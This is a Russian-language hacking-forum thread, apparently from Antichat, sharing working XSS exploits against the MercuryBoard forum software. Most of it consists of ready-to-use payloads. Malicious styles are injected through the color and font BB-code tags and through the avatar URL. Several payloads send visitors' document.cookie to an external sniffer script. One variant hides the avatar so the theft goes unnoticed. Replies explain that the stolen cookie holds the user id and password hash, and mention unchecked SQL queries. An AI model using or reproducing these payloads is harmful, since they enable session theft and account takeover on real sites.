![]() |
Еще парочка xss в MercuryBoard
Несколько уязвимостей xss в форуме MercuryBoard
(2 ПРИМИТИВНЕЙШИХ в bb тегах и 1 в аватарке) 1 из них заключается в плохой защищенности bb тега color, что дает нам право внедрить в него xss иньекцию. Итак, вот сплойт: Для алерта: Код:
[color=black;background:url(javascript:alert(document.cookie))]123[/color]Код:
[color=black;background:url(javascript:img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);]123[/color]Для алерта: Код:
[font=courier;background:url(javascript:alert(document.cookie))]123[/font]Код:
[font=courier;background:url(javascript:img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)]123[/font]Чуть не забыл, вот и сплойт: Код:
http://smailiki.ru/smile/1.gif'style=background:url(javascript:img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;);1.gifКод:
http://smailiki.ru/smile/1.gif'style=background:url(javascript:alert(document.cookie));1.gif |
Уже когда все набрал, подумал, а зачем аватврка нам вообще нужна, сделаем её невидимой, как будто бы её вообще нету. И ход этот правильный, так как палива в данной ситуации ноль. Итак, вот сплойт:
Код:
'style=background:url(javascript:img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);display:none;1.gif |
Укажи плиз версию MercuryBoard...
И кроме того, если публикуете такие баги, то не мешало бы описать систему защиты форума в целом. Хранится ли пасс в куках, не используется ли двойное хеширование и т.п. Потому как эти XSS могут ничего и не давать. |
Цитата:
В куках хранятся только id пользователя и его md5 хеш, следует на сниффер мы получаем эти данные. Вот алерт как пример: http://oldhz.h14.ru/mer.png |
пробовал ли на других форумах?
|
Помоему там все было найдено... Или я ошибаюсь
|
Цитата:
Цитата:
|
Цитата:
cp юзверя в phpbb или я уже запамятовал... |
Вот ещё одна xss`ска(в профиле): Интуиция подсказывает что это ещё не всё....
|
Да там ещё КСТАТИ почти ни один параметр не проверяется перед mysql_query
|
| Время: 03:34 |